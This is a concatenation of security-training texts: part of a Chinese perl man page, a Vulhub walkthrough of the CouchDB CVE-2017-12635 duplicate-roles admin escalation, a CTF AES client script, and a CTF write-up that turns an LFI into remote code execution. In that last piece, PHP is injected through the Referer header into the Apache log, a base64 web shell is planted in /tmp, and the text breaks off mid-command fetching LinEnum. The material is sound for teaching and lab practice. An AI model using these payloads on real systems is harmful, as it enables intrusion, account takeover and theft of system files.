Perl modules: 如何写好它 \& perlmodinstall Perl modules: 如何从 CPAN 安装它们 \& perlnewmod Perl modules: 准备释放出新模块 .Ve .PP .Vb 1 \& perlutil Perl 附带的工具 .Ve .PP .Vb 1 \& perlcompile Perl 编译套件介绍 .Ve .PP .Vb 1 \& perlfilter Perl 源码过滤 .Ve .Sh "内部以及 C 接口 Internals and C Language Interface" .Vb 7 \& perlembed 在 C/C++ 应用中内置 Perl 的独特方法 \& perldebguts Perl 调试要点和技巧 \& perlxstut Perl XS \& perlxs Perl XS 应用程序编程接口 \& perlclib 标准 C 库的内部实现 \& perlguts 为高级开发者准备的 Perl 内部函数 \& perlcall 从 C 转换为 Perl 调用 .Ve .PP .Vb 4 \& perlapi Perl API 列表 (自动生成) \& perlintern Perl 内部函数 (自动生成) \& perliol Perl 以\(lq层\(rq方式实现 IO 用到的 C API \& perlapio Perl 内部 IO 抽象接口 .Ve .PP .Vb 1 \& perlhack 修改 Perl .Ve .Sh "杂项 Miscellaneous" .Vb 2 \& perlbook Perl 书籍信息 \& perltodo Perl 的未来 .Ve .PP .Vb 1 \& perldoc 查看 Pod 格式的 Perl 文档 .Ve .PP .Vb 11 \& perlhist Perl 历史记录 \& perldelta Perl 上一版本以来的变动 \& perl58delta Perl 5.8.0 带来的变化 \& perl573delta Perl changes in version 5.7.3 \& perl572delta Perl changes in version 5.7.2 \& perl571delta Perl changes in version 5.7.1 \& perl570delta Perl changes in version 5.7.0 \& perl561delta Perl changes in version 5.6.1 \& perl56delta Perl changes in version 5.6 \& perl5005delta Perl changes in version 5.005 \& perl5004delta Perl changes in version 5.004 .Ve .PP .Vb 2 \& perlartistic Perl Artistic License \& perlgpl GNU General Public License .Ve .Sh "语言相关 Language-Specific" .Vb 4 \& perlcn Perl 简体中文支持 (原文是 EUC-CN 编码) \& perljp Perl 日本语支持 (原文是 EUC-JP 编码) \& perlko Perl 朝鲜语支持 (原文是 EUC-KR 编码) \& perltw Perl 繁体中文支持 (原文是 Big5 编码) .Ve .Sh "平台相关 Platform-Specific" .Vb 32 \& perlaix Perl notes for AIX \& perlamiga Perl notes for AmigaOS \& perlapollo Perl notes for Apollo DomainOS \& perlbeos Perl notes for BeOS \& perlbs2000 Perl notes for POSIX-BC BS2000 \& perlce Perl notes for WinCE \& perlcygwin Perl notes for Cygwin \& perldgux Perl notes for DG/UX \& perldos Perl notes for DOS \& perlepoc Perl notes for EPOC \& perlfreebsd Perl notes for FreeBSD \& perlhpux Perl notes for HP-UX \& perlhurd Perl notes for Hurd \& perlirix Perl notes for Irix \& perlmachten Perl notes for Power MachTen \& perlmacos Perl notes for Mac OS (Classic) \& perlmacosx Perl notes for Mac OS X \& perlmint Perl notes for MiNT \& perlmpeix Perl notes for MPE/iX \& perlnetware Perl notes for NetWare \& perlos2 Perl notes for OS/2 \& perlos390 Perl notes for OS/390 \& perlos400 Perl notes for OS/400 \& perlplan9 Perl notes for Plan 9 \& perlqnx Perl notes for QNX \& perlsolaris Perl notes for Solaris \& perltru64 Perl notes for Tru64 \& perluts Perl notes for UTS \& perlvmesa Perl notes for VM/ESA \& perlvms Perl notes for VMS \& perlvos Perl notes for Stratus VOS \& perlwin32 Perl notes for Windows .Ve .PP 默认情况下,上面列出的手册页安装在 \&\fI/usr/local/man/\fR 目录 .PP 还有大量有关 Perl 模块的文档。默认的 perl 配置会将它们安装到 \fI/usr/local/lib/perl5/man\fR 目录,(或者 Perl 库目录中的 \fIman\fR 子目录). 它们中的一部分是随 Perl 发布的标准文档, 另外你还可以从中找到第三方的文档 .PP 你可以用 \fIman\fR\|(1) 程序来查看 Perl 的文档,只要在配置文件中加入合适的路径, 或者将路径设置在 \s-1MANPATH\s0 环境变量中。要找出 perl 所有手册页的路径,只要运行 .PP .Vb 1 \& perl -V:man.dir .Ve .PP 如果路径有共同点,例如 \fI/usr/local/man/man1\fR 和 \fI/usr/local/man/man3\fR, 你只要将共同点 (\fI/usr/local/man\fR) 加入到 \fIman\fR\|(1) 的配置文件中,或是 \s-1MANPATH\s0 环境变量中。如果它们没有共同点,就必须全部添加 .PP 如果这样做没有效果,你也可以用附带的 \fIperldoc\fR 脚本来查看模块信息。也可以找一个 man 的替代程序 .PP 如果你的程序出了问题,又不知道该到哪里去找帮助,就先试一试 \fB\-w\fR 选项。它会精确地报告错误发生在哪一行 .SH "描述 DESCRIPTION" Perl 是一种特别为扫描复杂文本文件优化过的语言, 从中提取有用的信息,然后据此生成结果。 它也是系统管理任务中很好用的语言。它的目标是实用 (易用,高效,完整) 而不是 精致 (小,优雅,功能有限) .PP Perl 结合了 (在作者看来) C, \fBsed\fR, \fBawk\fR, 还有 \fBsh\fR 的优点,熟悉它们的人学起 Perl 毫无困难。 (语言学家还会从中发现一些 \fBcsh\fR, Pascal, 甚至 \&\s-1BASIC\-PLUS\s0 中的元素。) 表达式语法与 C 表达式语法紧密对应。与大多数 Unix 工具不同,Perl 不限制 你的数据的大小 \*(-- 只要你有足够的内存,Perl 可以把你的整个文件当作单一的字符串来享受。 递归的深度是无限的。 散列 (有时又叫做\(lq关联数组\(rq \&\*(L"associative arrays\*(R" ) 会按需生长,以避免性能下降。 Perl 使用精致的模式匹配技术来保证快速扫描大量数据。 尽管为扫描文本而优化,Perl 仍然可以处理二进制数据,也可以像使用散列一样使用 dbm 文件。 设置了 UID 的 Perl 脚本要比 C 程序安全,因为数据流跟踪机制可以堵上很多愚蠢的安全漏洞 .PP 如果你遇到了一般适于 \fBsed\fR 或 \fBawk\fR 或 \&\fBsh\fR 处理的问题,但是问题超出了工具的能力, 或者需要更快的处理,你又不想用 C 来写一大堆倒塌的程序,那么使用 Perl 吧。 另外,还有很多将 \fBsed\fR 和 \fBawk\fR 脚本转换为 Perl 脚本的翻译器 .PP 但是稍等,还有更多... .PP 自 1993 年开始 (参见 perlhist),Perl 5 进行了几乎完全的重写, 提供了以下的功能: .IP "\(bu" 4 模块性和可复用性 .Sp 详述在 perlmod, perlmodlib, 和 perlmodinstall 中 .IP "\(bu" 4 可内置可扩展 .Sp 详述在 perlembed, perlxstut, perlxs, perlcall, perlguts, 和 xsubpp 中 .IP "\(bu" 4 创建功能强大的数据类型 (同时包括多种 \s-1DBM\s0 实现) .Sp 详述在 perltie 和 AnyDBM_File 中 .IP "\(bu" 4 函数可重载,自动加载,原型化 .Sp 详述在 perlsub 中 .IP "\(bu" 4 复杂的数据结构嵌套还有匿名函数 .Sp 详述在 perlreftut, perlref, perldsc, 和 perllol 中 .IP "\(bu" 4 面向对象编程 .Sp 详述在 perlobj, perlboot, perltoot, perltooc, 和 perlbot 中 .IP "\(bu" 4 支持轻量级进程 (线程) .Sp 详述在 perlthrtut 和 threads 中 .IP "\(bu" 4 支持 Unicode,国际化和本地化 .Sp 详述在 perluniintro, perllocale 和 Locale::Maketext 中 .IP "\(bu" 4 变量作用域 .Sp 详述在 perlsub 中 .IP "\(bu" 4 正则表达式强化 .Sp 详述在 perlre 中,perlop 中有更多例子 .IP "\(bu" 4 强化的调试工具和交互的 Perl 环境,支持集成的编辑器 .Sp 详述在 perldebtut, perldebug 和 perldebguts 中 .IP "\(bu" 4 \&\s-1POSIX\s0 1003.1 兼容的库 .Sp 详述在 \s-1POSIX\s0 中 .PP Okay, 这些已经是绝对的绝对够用了 .SH "可用性 AVAILABILITY" Perl 在大部分操作系统上都可用,包含几乎所有类 Unix 的平台。参见 perlport 中的 \*(L"Supported Platforms\*(R" 段来查看平台列表 .SH "环境 ENVIRONMENT" 参见 perlrun .SH "作者 AUTHOR" Larry Wall <larry@wall.org>, with the help of oodles of other folks. .PP 如果你使用 Perl 的成功案例对想在项目中应用 Perl 的人有用, 或者如果你只是想想表达你对 Larry 和 Perl 开发者的感激之情,请写信到 <perl\-thanks@perl.org> .SH "文件 FILES" .Vb 1 \& "@INC" locations of perl libraries .Ve .SH "参见 SEE ALSO" .Vb 2 \& a2p awk 到 perl 翻译器 \& s2p sed 到 perl 翻译器 .Ve .PP .Vb 3 \& http://www.perl.com/ Perl 官方主页 \& http://www.cpan.org/ the Comprehensive Perl Archive (Perl 文件中心) \& http://www.perl.org/ Perl Mongers (Perl 用户组) .Ve .SH "诊断 DIAGNOSTICS" \f(CW\*(C`use warnings\*(C'\fR 编译指示 (pragma) (还有 \fB\-w\fR 选项) 会产生 一些有用的诊断信息 .PP 参见 perldiag 来查看所有 Perl 诊断信息的含义。 \f(CW\*(C`use diagnostics\*(C'\fR 编译指示会自动将 Perl 简短的警告和错误消息 转换为长格式 .PP 编译错误将给出行号,还有要执行的下一个词或词的类型。 (在用 \fB\-e\fR 选项传给 Perl 的脚本中,每个 \&\fB\-e\fR 视为一行。) .PP 设置了 UID 的脚本有额外的约束,会产生格式化的错误信息,类似 \*(L"Insecure dependency\*(R"。参见 perlsec .PP 我们说过你一定要用 \fB\-w\fR 选项了吗? .SH "BUGS" \fB\-w\fR 选项不是必要的 .PP Perl 依赖于你的机器中操作的定义,类似于类型转换, \fIatof()\fR, 还有使用 \fIsprintf()\fR 来做浮点输出等操作 .PP 如果你的 stdio 在读写一个特殊流时需要一个 seek 或是 eof,Perl 也会需要它们。 (这种情况不会在 \fIsysread()\fR 和 \fIsyswrite()\fR 中发生。) .PP 所有内置数据类型都没有大小限制 (除了内存大小之外),但是还是有一些限制: 变量名不得长于 251 个字符。 诊断信息显示的行号以短整型数保存,因此行号最大值是 65535 (更大的行号一般会从头开始) .PP 可以将错误报告 (一定要包含完整的配置信息,使用 perl 源码树中的 myconfig 程序,或者用 \f(CW\*(C`perl \-V\*(C'\fR 命令得到) 寄给 perlbug@perl.org 。 如果你已经成功编译 perl, \fIutils/\fR 目录中的 \fBperlbug\fR 脚本可以用来邮寄错误报告 .PP Perl 真正意义是 Pathologically Eclectic Rubbish Lister, 但是 不要告诉任何人我说过它 .SH "注意 NOTES" Perl 的信条是 \*(L"There's more than one way to do it.\*(R" 至于探索有多少种办法,就是读者自己的事了 .PP 程序员应有的三种美德是 Laziness, Impatience, 还有 Hubris. 原因呢,请参见骆驼书 .SH "[中文版维护人]" .B bbbush <bbbush@163.com> .SH "[中文版最新更新]" .BR 2003.11.29 .SH "《中国linux论坛man手册翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Apache Couchdb Remote Privilege Escalation (CVE-2017-12635) [中文版本(Chinese version)](README.zh-cn.md) Apache CouchDB is an open-source document-oriented NoSQL database, implemented in Erlang. CouchDB uses multiple formats and protocols to store, transfer, and process its data. It uses JSON to store data, JavaScript as its query language using MapReduce, and HTTP for an API. Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit `_users` documents with duplicate keys for `roles` used for access control within the database, including the special case `_admin` role, that denotes administrative users. Reference link. - https://justi.cz/security/2017/11/14/couchdb-rce-npm.html - https://www.exploit-db.com/exploits/44498 - http://bobao.360.cn/learning/detail/4716.html ## Setup Environment Compile and start environment. ``` docker compose up -d ``` After the environment is started, browse ``http://your-ip:5984/_utils/`` to see a web page, which means Couchdb has been started successfully. But you can do nothing without authentication. ## Exploit This is a normal request to add a user. ``` PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: your-ip:5984 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 90 { "type": "user", "name": "vulhub", "roles": ["_admin"], "password": "vulhub" } ``` As you can see, a 403 error is returned: `{"error": "forbidden", "reason": "Only _admin may set roles"}`, which means only administrator can use the endpoint. ![](1.png) To bypass the restriction by sending a request containing duplicate **roles**. ``` PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: your-ip:5984 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 108 { "type": "user", "name": "vulhub", "roles": ["_admin"], "roles": [], "password": "vulhub" } ``` Successfully created a user `vulhub`, with the password `vulhub`. ![](2.png) Log in. ![](3.png)
sec-knowleage
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import socket from time import sleep from Crypto.Cipher import AES from base64 import standard_b64decode class SecureClient: def __init__(self): self.msg_end = '</msg>' self.msg_wrong_pin = 'BAD_PIN' self.aes_key = 'aes.key' self.host = 'crypto-04.v7frkwrfyhsjtbpfcppnu.ctfz.one' self.port = 7331 self.buff_size = 1024 try: self.greeting() except KeyboardInterrupt: exit(0) def greeting(self): self.cls() print('\n ==================================== !!! CONFIDENTIALITY NOTICE !!! ====================================') print(' || You trying to access high confidential Federation workflow system. ||') print(' || If you are not authorised to use this system leave it immediately. ||') print(' || Otherwise incident will be reported and you will be eliminated as it considered by Federation Law. ||') print(' ========================================================================================================\n') user_choice = input(' Do you want to proceed? (yes/no) > ') if user_choice.lower() == 'yes': print(' Checking user...') sleep(5) print(' SUCCESS: ACCESS GRANTED') print(' Last login time: {0}'.format(self.get_last_login())) sleep(1) self.cls() print('\n Welcome, Head Consul.') self.main_menu() else: print(' Checking user...') sleep(5) print(' ERROR: UNAUTHORISED USER') sleep(1) print('\n Reporting incident...') sleep(5) print(' SUCCESS: INCIDENT REPORTED') sleep(1) print('\n Please stay in place and wait for Federation Security Department extraction team.\n') exit(0) def main_menu(self): while True: print("\n You are authorised to:") print(" list - view list of available files") print(" file - request file from server") print(" admin - use administrative functions") print(" exit - exit workflow system") user_choice = input('\n What do you want to do? (list/file/admin/exit) > ') self.cls() if user_choice.lower() == 'list': self.list_files() elif user_choice.lower() == 'file': self.view_file() elif user_choice.lower() == 'admin': self.admin() elif user_choice.lower() == 'exit': exit(0) else: print('\n Unrecognized command, try again') def list_files(self): file_list = self.get_file_list() print('\n You are authorised to view listed files:\n') for file in file_list: print(' - {0}'.format(file)) def view_file(self): self.list_files() filename = input('\n Which file you want to view? > ') file_content = self.send('file {0}'.format(filename)) if len(file_content) > 0: plain_content = self.decrypt(file_content) if len(plain_content) > 0: print('\n ========================================================================================================') print(' Content of {0}'.format(plain_content)) print(' ========================================================================================================') else: print('\n Seems like you have no decryption key, so you can\'t see any files.') else: print('\n Error while requesting file') def admin(self): print('\n Access to administrative functions requires additional security check.') pin = input(' Enter your administrative PIN > ') response = self.send('admin {0}'.format(pin)) if response == self.msg_wrong_pin: print('\n Wrong administrative PIN. Incident will be reported.') else: print('\n High confidential administrative data: {0}'.format(response)) def decrypt(self, data): try: key = open(self.aes_key).read() cipher = AES.new(key, AES.MODE_ECB) plain = cipher.decrypt(standard_b64decode(data)).decode('UTF-8') plain = plain[:-ord(plain[-1])] return plain except Exception as ex: return '' def get_last_login(self): return self.send('login') def get_file_list(self): files = self.send('list') if len(files) > 0: return files.split(',') else: return ['no files available'] def send(self, data): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.host, self.port)) sock.send('{0}{1}'.format(data, self.msg_end).encode('UTF-8')) response = self.recv_until(sock, self.msg_end) sock.close() return response except Exception as ex: return '' def recv_until(self, sock, end): try: recv = sock.recv(self.buff_size).decode('utf-8') while recv.find(end) == -1: recv += sock.recv(self.buff_size).decode('utf-8') return recv[:recv.find(end)] except Exception as ex: return '' def cls(self): os.system('cls' if os.name == 'nt' else 'clear') if __name__ == '__main__': secure_client = SecureClient()
sec-knowleage
# Challenge 3 Worked with AvivC, YaakovC. ## Description After finishing [Challenge 2](Challenge2.md) and finding the external IP of the attacker, we can start Challenge 3. We got an IP address: `http://13.67.133.176`. ## Solution ### Exploring the Website Let's check out the website: ```console root@kali:/media/sf_CTFs/hoshen/3# curl http://13.67.133.176 <!-- Bootstrap --> <link href="web.css" rel="stylesheet"> <!-- Try to root me if you can. You can't, I dare you :p --> <h1 id="header" class="text-primary">Red Team<br/>You Can start this part only if you got here through the PCAP</h1> <div class="container list-article"> <div class="btn-group pull-right" id="switch-view"> <span class="icon-th-list"></span> </div> <div class="clearfix"></div> <div class="row"> <div class="col-xs-12 article-wrapper"> <article> <a href="test.php?file=gallery.html">Gallery</a> <div class="img-wrapper"><img src="pics/hacker.jpeg" alt="" /></div> <h1>Gallery</h1> <p>Enter Gallery By clicking here.</p> </article> </div> <div class="col-xs-12 article-wrapper"> <article> <a href="test.php?file=register.html">Registration</a> <div class="img-wrapper"><img src="pics/enter.jpg" alt="" /></div> <h1>Registration</h1> <p>Enter Registration By clicking here.</p> </article> </div> </div> </div> ``` This is a simple website with two main links. They both link to unimportant pages. The important thing is how they do it: ```html <a href="test.php?file=gallery.html">Gallery</a> <a href="test.php?file=register.html">Registration</a> ``` There's a good chance that `test.php` has a local file inclusion (LFI) vulnerability! Let's test this: ```console root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=index.html" <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Directory listing for /pages/</title> </head> <body> <h1>Directory listing for /pages/</h1> <hr> <ul> <li><a href="pics.php">pics.php</a></li> <li><a href="registration">registration</a></li> <li><a href="shimi">shimi</a></li> </ul> <hr> </body> </html> ``` ### Exploiting LFI We got a directory listing for `/pages/`. We can go on and try to explore the directory tree, but there's an additional fact that will be very helpful for us: If we call `test.php` without any parameters, we get the `PHPInfo` output: ```console root@kali:/media/sf_CTFs/hoshen/3# curl -s "http://13.67.133.176/test.php" | egrep "DOCUMENT_ROOT|SCRIPT_FILENAME|SERVER_NAME|SERVER_ADDR|APACHE_LOG_DIR " <tr><td class="e">SERVER_NAME </td><td class="v">13.67.133.176 </td></tr> <tr><td class="e">SERVER_ADDR </td><td class="v">10.0.0.7 </td></tr> <tr><td class="e">DOCUMENT_ROOT </td><td class="v">/var/www/html </td></tr> <tr><td class="e">CONTEXT_DOCUMENT_ROOT </td><td class="v">/var/www/html </td></tr> <tr><td class="e">SCRIPT_FILENAME </td><td class="v">/var/www/html/test.php </td></tr> <tr><td class="e">APACHE_LOG_DIR </td><td class="v">/var/log/apache2 </td></tr> <tr><td class="e">$_SERVER['SERVER_NAME']</td><td class="v">13.67.133.176</td></tr> <tr><td class="e">$_SERVER['SERVER_ADDR']</td><td class="v">10.0.0.7</td></tr> <tr><td class="e">$_SERVER['DOCUMENT_ROOT']</td><td class="v">/var/www/html</td></tr> <tr><td class="e">$_SERVER['CONTEXT_DOCUMENT_ROOT']</td><td class="v">/var/www/html</td></tr> <tr><td class="e">$_SERVER['SCRIPT_FILENAME']</td><td class="v">/var/www/html/test.php</td></tr> ``` So we know where the server is running from, and several other important variables. We can, for example, read `/etc/passwd`: ```console root@kali:/media/sf_CTFs/hoshen/3# curl http://13.67.133.176/test.php?file=../../../../etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false hoshenCtf:x:1000:1000:Ubuntu:/home/hoshenCtf:/bin/bash ``` This allows us to read any file we have access to, but can we do better? There's a great cheat sheet for LFI in [Payload All the Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion). It even has a recipe for LFI to RCE, which will allow us to execute code on the server. For this specific recipe to work, we need to be able to include a file which we can affect its content, such as the webserver access log: `/var/log/apache2/access.log`. ```console root@kali:/media/sf_CTFs/hoshen/3# curl -s "http://13.67.133.176/test.php?file=../../../../var/log/apache2/access.log" 84.109.24.109 - - [14/Feb/2020:21:02:27 +0000] "GET /test.php?file=gallery.html HTTP/1.1" 200 829 "http://13.67.133.176/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:27 +0000] "GET /pages/gallery.css HTTP/1.1" 200 925 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:27 +0000] "GET /gallery/sleep.jpg HTTP/1.1" 200 62003 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:27 +0000] "GET /gallery/kano.jpg HTTP/1.1" 200 22926 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:27 +0000] "GET /gallery/torha.jpg HTTP/1.1" 200 40999 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:27 +0000] "GET /gallery/sloth.jpg HTTP/1.1" 200 76794 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:27 +0000] "GET /gallery/78.jpg HTTP/1.1" 200 4555 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:27 +0000] "GET /gallery/schnitzel.jpg HTTP/1.1" 200 197961 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:27 +0000] "GET /gallery/alpha.jpg HTTP/1.1" 200 24565 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:27 +0000] "GET /gallery/joni.jpg HTTP/1.1" 200 116148 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:28 +0000] "GET /gallery/game.jpg HTTP/1.1" 200 39451 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:28 +0000] "GET /gallery/tall.jpg HTTP/1.1" 200 38880 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:27 +0000] "GET /gallery/shpig.jpg HTTP/1.1" 200 251051 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:28 +0000] "GET /gallery/fatich.jpg HTTP/1.1" 200 44868 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:28 +0000] "GET /gallery/trick.jpg HTTP/1.1" 200 327764 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:28 +0000] "GET /gallery/gateway.jpg HTTP/1.1" 200 11024 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:28 +0000] "GET /gallery/shay.jpg HTTP/1.1" 200 32417 "http://13.67.133.176/test.php?file=gallery.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.109.24.109 - - [14/Feb/2020:21:02:33 +0000] "GET /test.php?file=gallery.html HTTP/1.1" 200 828 "http://13.67.133.176/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" ``` ### LFI to RCE As seen above, when a user makes a request to a webpage, several user attributes are written to the log. For example, the referrer: ```console root@kali:/media/sf_CTFs/hoshen/3# curl http://13.67.133.176/test.php?file=a --referer "I can control this" root@kali:/media/sf_CTFs/hoshen/3# curl -s "http://13.67.133.176/test.php?file=../../../../var/log/apache2/access.log" | grep control 83.132.148.425 - - [14/Feb/2020:21:17:50 +0000] "GET /test.php?file=a HTTP/1.1" 200 147 "I can control this" "curl/7.64.0" ``` We can even execute PHP code under the correct circumstances: ```console root@kali:/media/sf_CTFs/hoshen/3# curl http://13.67.133.176/test.php?file=a --referer "<?php echo 'This is a test'; ?>" root@kali:/media/sf_CTFs/hoshen/3# curl -s "http://13.67.133.176/test.php?file=../../../../var/log/apache2/access.log" | grep test 83.132.148.425 - - [14/Feb/2020:21:40:03 +0000] "GET /test.php?file=a HTTP/1.1" 200 147 "This is a test" "curl/7.64.0" ``` So instead of printing something, let's use PHP to create a shell. What we want to do is upload the following PHP script to a writable location on the server: ```php <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); _s_y_s_t_e_m($cmd); // Some Antivirus programs delete this writeup if it contains the command without underscores :-O echo "</pre>"; die; } ?> ``` We'll encode this PHP script with base64 and upload it to a writable location on the server (`/tmp`): ```console root@kali:/media/sf_CTFs/hoshen/3# curl http://13.67.133.176/test.php?file=foo --referer "-<?php system('echo PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpeyBlY2hvICI8cHJlPiI7ICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7IHN5c3RlbSgkY21kKTsgZWNobyAiPC9wcmU+IjsgZGllOyB9Pz4= | base64 -d > /tmp/shell'); ?>" ``` We can then make requests to the script and they will be executed on the server: ```console root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell" -X POST --data-urlencode "cmd=ls -la" <pre>total 36 drwxr-xr-x 5 root root 4096 Feb 8 13:46 . drwxr-xr-x 3 root root 4096 Jan 22 08:00 .. drwxr-xr-x 2 root root 4096 Feb 5 20:46 gallery -rw-r--r-- 1 root root 1082 Feb 8 13:46 index.html -rw-r--r-- 1 root root 19 Dec 5 08:59 index.php drwxr-xr-x 5 root root 4096 Feb 8 01:07 pages drwxr-xr-x 2 root root 4096 Jan 28 19:40 pics -rw-r--r-- 1 root root 117 Dec 5 09:13 test.php -rw-r--r-- 1 root root 3164 Feb 8 13:38 web.css </pre> ``` We can check the source of `test.php`: ```console root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell" -X POST --data-urlencode "cmd=cat test.php" <pre><?php $file = $_GET['file']; if(isset($file)) { include("pages/$file"); } else { include("index.php"); } ?></pre> ``` We can run scripts: ```console root@kali:/media/sf_CTFs/hoshen/3# curl "http://13.67.133.176/test.php?file=../../../../tmp/shell" -X POST --data-urlencode "cmd=wget -O /tmp/LinEnum.sh 